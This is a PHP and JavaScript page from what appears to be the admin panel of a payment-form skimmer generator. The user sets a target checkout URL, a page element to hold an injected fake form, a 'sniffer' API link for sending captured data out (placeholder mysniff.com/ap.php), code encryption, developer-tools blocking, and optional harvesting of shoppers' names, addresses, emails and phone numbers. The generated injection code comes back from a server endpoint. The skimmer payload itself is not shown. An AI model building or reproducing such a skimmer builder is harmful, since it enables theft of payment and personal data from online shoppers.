<?php

include('../conf.php');

?>
<div class="row">
<div class="col-lg-6">
						
<div class="well bs-component">
  <form class="form-horizontal" action="#form">
    <fieldset>
      <legend><?=$GLOBALS['lang']['f34'];?></legend>

      <!-- Radio: Global / Link -->
      <div class="form-group">
	  <label class="col-lg-2 control-label"><?=$GLOBALS['lang']['f13'];?> <font color="red">*</font></label>
	  <div class="col-lg-10">
	    <div class="radio radio-info radio-inline">
	      <input type="radio" name="smode" id="radioGlobal" value="global" checked>
	      <label for="radioGlobal"><?=$GLOBALS['lang']['f14'];?></label>
	    </div>
	    <div class="radio radio-inline">
	      <input type="radio" name="smode" id="radioLink" value="link">
	      <label for="radioLink"><?=$GLOBALS['lang']['f15'];?></label>
	    </div>
	  </div>
	</div>

	<!-- URL Input (must be outside the col-lg-10 above) -->
	<div class="form-group" id="urlInputContainer" style="display: none;">
	  <label for="urlInput" class="col-lg-2 control-label">URL <font color="red">*</font></label>
	  <div class="col-lg-10">
	    <input type="text" name="sUrl" class="form-control" id="urlInput" placeholder="https://myshop.com/payment/checkout/ or '/payment/checkout'">
	  </div>
	</div>

      <!-- Input: #id or .style -->
      <div class="form-group">
        <label class="col-lg-2 control-label"><?=$GLOBALS['lang']['f16'];?> <font color="red">*</font></label>
        <div class="col-lg-10">
          <input type="text" name="formToDiv" class="form-control" placeholder="#id or .style (with '#' or '.')">
        </div>
      </div>

      <div class="form-group">
        <label class="col-lg-2 control-label"><?=$GLOBALS['lang']['f26'];?> </label>
        <div class="col-lg-10">
          <input type="text" name="method" class="form-control" placeholder="#id or .style (with '#' or '.')">
        </div>
      </div>

      <!-- Input: #id or .style for submit -->
      <div class="form-group">
        <label class="col-lg-2 control-label"><?=$GLOBALS['lang']['f17'];?> <font color="red">*</font></label>
        <div class="col-lg-10">
          <input type="text" name="divButton" class="form-control" placeholder="id or style for submit (without '#' and '.')">
        </div>
      </div>

      <div class="form-group">
        <label for="apiLink" class="col-lg-2 control-label">API link <font color="red">*</font></label>
        <div class="col-lg-10">
          <input type="text" name="apiLink" class="form-control" id="apiLink" placeholder="https://mysniff.com/ap.php">
        </div>
      </div>

      <!-- Textarea: Style Form -->
      <div class="form-group">
        <label for="htmlTextarea1" class="col-lg-2 control-label">CSS <?=$GLOBALS['lang']['f27'];?></label>
        <div class="col-lg-10">
          <textarea class="form-control" name="cssForm" rows="3" id="htmlTextarea1"></textarea>
        </div>
      </div>

      <!-- Textarea: HTML Form -->
      <div class="form-group">
        <label for="htmlTextarea" class="col-lg-2 control-label">HTML <?=$GLOBALS['lang']['f16'];?></label>
        <div class="col-lg-10">
          <textarea class="form-control" name="htmlForm" rows="3" id="htmlTextarea"></textarea>
        </div>
      </div>

      <!-- Textarea: JS code -->
      <div class="form-group">
        <label for="jsTextarea" class="col-lg-2 control-label">JS <?=$GLOBALS['lang']['f35'];?></label>
        <div class="col-lg-10">
          <textarea class="form-control" name="jsCode" rows="3" id="jsTextarea"></textarea>
        </div>
      </div>


<div class="form-group">
  <div class="col-lg-10 col-lg-offset-2">
    <div class="checkbox checkbox-inline checkbox-primary">
      <input type="checkbox" name="encrypt" class="styled" id="encrypt" value="on" checked disabled />
      <label for="encrypt"> <?=$GLOBALS['lang']['f24'];?> </label>
    </div>
    <div class="checkbox checkbox-inline checkbox-primary"> <!-- checked="" -->
      <input type="checkbox" name="blockDev" class="styled" id="blockDev" value="on" />
      <label for="blockDev"> <?=$GLOBALS['lang']['f25'];?> </label>
    </div>
  </div>
</div>

<!-- Collect Data Checkbox -->
<div class="form-group">
  <div class="col-lg-10 col-lg-offset-2">
    <div class="checkbox checkbox-primary">
      <input id="collectData" type="checkbox">
      <label for="collectData"><?=$GLOBALS['lang']['f21'];?></label>
    </div>
  </div>
</div>

<!-- This section appears when checkbox is checked -->
<div id="collectOptions" style="display: none;">
  <!-- Collect Mode Radios -->
  <div class="form-group">
    <label class="col-lg-2 control-label"><?=$GLOBALS['lang']['f13'];?> <font color="red">*</font></label>
    <div class="col-lg-10">
      <div class="radio radio-info radio-inline">
        <input type="radio" name="collectMode" id="collectGlobal" value="global" checked>
        <label for="collectGlobal"><?=$GLOBALS['lang']['f14'];?></label>
      </div>
      <div class="radio radio-inline">
        <input type="radio" name="collectMode" id="collectSame" value="same" disabled>
        <label for="collectSame"><?=$GLOBALS['lang']['f22'];?></label>
      </div>
      <div class="radio radio-inline">
        <input type="radio" name="collectMode" id="collectLink" value="link">
        <label for="collectLink"><?=$GLOBALS['lang']['f15'];?></label>
      </div>
    </div>
  </div>

  <!-- URL2 Field -->
  <div class="form-group" id="link2Container" style="display: none;">
    <label for="collectURL" class="col-lg-2 control-label">URL <font color="red">*</font></label>
    <div class="col-lg-10">
      <input type="text" class="form-control" name="collectURL" id="collectURL" placeholder="https://myshop.com/shipping-address/personal-data/">
    </div>
  </div>

  <!-- Enable Input 0 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput0">
        <label for="enableInput0"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput0" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab12'];?></label> <!-- Name -->
    <div class="col-lg-10">
      <input type="text" name="firstname" class="form-control" id="disabledInput0" disabled placeholder='[name="firstname"] or #id or .style'>
    </div>
  </div>


  <!-- Enable Input 1 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput1">
        <label for="enableInput1"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput1" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab13'];?></label> <!-- LastName -->
    <div class="col-lg-10">
      <input type="text" name="lastname" class="form-control" id="disabledInput1" disabled placeholder='[name="lastname"] or #id or .style'>
    </div>
  </div>

    <!-- Enable Input 2 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput2">
        <label for="enableInput2"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput2" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab14'];?></label> <!-- Address -->
    <div class="col-lg-10">
      <input type="text" name="address" class="form-control" id="disabledInput2" disabled placeholder='[name="address"] or #id or .style'>
    </div>
  </div>

      <!-- Enable Input 3 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput3">
        <label for="enableInput3"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput3" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab5'];?></label> <!-- Country -->
    <div class="col-lg-10">
      <input type="text" name="country" class="form-control" id="disabledInput3" disabled placeholder='[name="country"] or #id or .style'>
    </div>
  </div>

  <!-- Enable Input 4 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput4">
        <label for="enableInput4"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput4" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab6'];?></label> <!-- State -->
    <div class="col-lg-10">
      <input type="text" name="state" class="form-control" id="disabledInput4" disabled placeholder='[name="state"] or #id or .style'>
    </div>
  </div>

  <!-- Enable Input 5 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput5">
        <label for="enableInput5"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput5" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab7'];?></label> <!-- City -->
    <div class="col-lg-10">
      <input type="text" name="city" class="form-control" id="disabledInput5" disabled placeholder='[name="city"] or #id or .style'>
    </div>
  </div>

  <!-- Enable Input 6 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput6">
        <label for="enableInput6"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput6" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab17'];?></label> <!-- E-mail -->
    <div class="col-lg-10">
      <input type="text" name="email" class="form-control" id="disabledInput6" disabled placeholder='[name="email"] or #id or .style'>
    </div>
  </div>

  <!-- Enable Input 7 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput7">
        <label for="enableInput7"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput7" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab8'];?></label> <!-- Postcode -->
    <div class="col-lg-10">
      <input type="text" name="postcode" class="form-control" id="disabledInput7" disabled placeholder='[name="postcode"] or #id or .style'>
    </div>
  </div>

  <!-- Enable Input 8 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput8">
        <label for="enableInput8"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput8" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab9'];?></label> <!-- Street -->
    <div class="col-lg-10">
      <input type="text" name="street" class="form-control" id="disabledInput8" disabled placeholder='[name="street"] or #id or .style'>
    </div>
  </div>

  <!-- Enable Input 9 -->
  <div class="form-group">
    <div class="col-lg-10 col-lg-offset-2">
      <div class="checkbox checkbox-primary">
        <input type="checkbox" id="enableInput9">
        <label for="enableInput9"><?=$GLOBALS['lang']['f23'];?></label>
      </div>
    </div>
  </div>
  <div class="form-group">
    <label for="disabledInput9" class="col-lg-2 control-label"><?=$GLOBALS['lang']['tab10'];?></label> <!-- Phone -->
    <div class="col-lg-10">
      <input type="text" name="phone" class="form-control" id="disabledInput9" disabled placeholder='[name="phone"] or #id or .style'>
    </div>
  </div>


</div>



      <!-- Buttons -->
      <div class="form-group">
        <div class="col-lg-10 col-lg-offset-2">
          <button type="reset" class="btn btn-default">Cancel</button>
          <button type="button" onclick="getIframe();" class="btn btn-primary">Submit</button>
        </div>
      </div>
    </fieldset>
  </form>
</div>

<script language="JavaScript">

  var login="<?=$_COOKIE['login'];?>", session="<?=$_COOKIE['SESSION'];?>";
  var preload='<div style="margin-left: 43%;"><img src="./img/load.gif" /></div>';

  function getIframe(){
    $('#result').html(preload);
    window.scrollTo(0, 0);

     const getValue = (name) => document.getElementsByName(name)[0]?.value || '';

    $.post("./inc/ajax/generator/postIframe.php",{
      login: login,
      SESSION: session,
      sUrl: getValue("sUrl"),
      formToDiv: getValue("formToDiv"),
      method: getValue("method"),
      button: getValue("divButton"),
      apiLink: getValue("apiLink"),
      htmlForm: getValue("htmlForm"),
      css: getValue("cssForm"),
      jsCode: getValue("jsCode"),
      encrypt: $("#encrypt").prop("checked"),
      blockDev: $("#blockDev").prop("checked"),
      collectData: $("#collectData").prop("checked"),
      collectMode: getSelectedRadioValue("collectMode"),
      collectURL: getValue("collectURL"),
      firstname: getValue("firstname"),
      lastname: getValue("lastname"),
      address: getValue("address"),
      country: getValue("country"),
      state: getValue("state"),
      city: getValue("city"),
      email: getValue("email"),
      postcode: getValue("postcode"),
      street: getValue("street"),
      phone: getValue("phone")
    }).done(function(data){
      $('#result').html('<h4><?=$GLOBALS['lang']['mes6'];?>:</h4><p>&nbsp;</p><textarea class="form-control" rows="15">'+data+'</textarea>');
    });
  }

  function getSelectedRadioValue(radioName) {
    const radioButtons = document.querySelectorAll(`input[name="${radioName}"]`);
    for (const radioButton of radioButtons) {
      if (radioButton.checked) {
        return radioButton.value;
      }
    }
    return null;
  }


  // Toggle URL input when "Link" radio is selected
  document.querySelectorAll('input[name="smode"]').forEach(radio => {
    radio.addEventListener('change', function () {
      document.getElementById('urlInputContainer').style.display =
        this.value === 'link' ? 'block' : 'none';
        if(this.value=="global"){
          document.getElementById("urlInput").value = "";
          document.querySelector('#collectSame').disabled = true;
          if(getSelectedRadioValue("collectMode")=="same"){
             document.getElementById('collectGlobal').checked = true;
          }
        }else{
          document.querySelector('#collectSame').disabled = false;
        }
    });
  });

    // Toggle collect options section
  document.getElementById('collectData').addEventListener('change', function () {
    const container = document.getElementById('collectOptions');
    container.style.display = this.checked ? 'block' : 'none';
  });

  // Show/hide link2 based on radio
  document.querySelectorAll('input[name="collectMode"]').forEach(radio => {
    radio.addEventListener('change', function () {
      const show = this.value === 'link';
      document.getElementById('link2Container').style.display = show ? 'block' : 'none';
      if(this.value!=="link"){ document.getElementById("collectURL").value = ""; }
    });
  });

  // Enable/disable input
  const toggleInput = (n) => {
    const checkbox = document.getElementById(`enableInput${n}`);
    const input = document.getElementById(`disabledInput${n}`);
    if (checkbox && input) {
      checkbox.addEventListener('change', () => {
        input.disabled = !checkbox.checked;
        input.value="";
      });
    }
  };

  for (let i = 0; i <= 9; i++) toggleInput(i);
</script>

					</div>

					<div class="col-lg-4 col-lg-offset-1">
							<form class="bs-component">
								<div id="result" class="form-group">
									
								</div>

							</form>

					</div>
				</div>

<?php mysqli_close($connect); ?>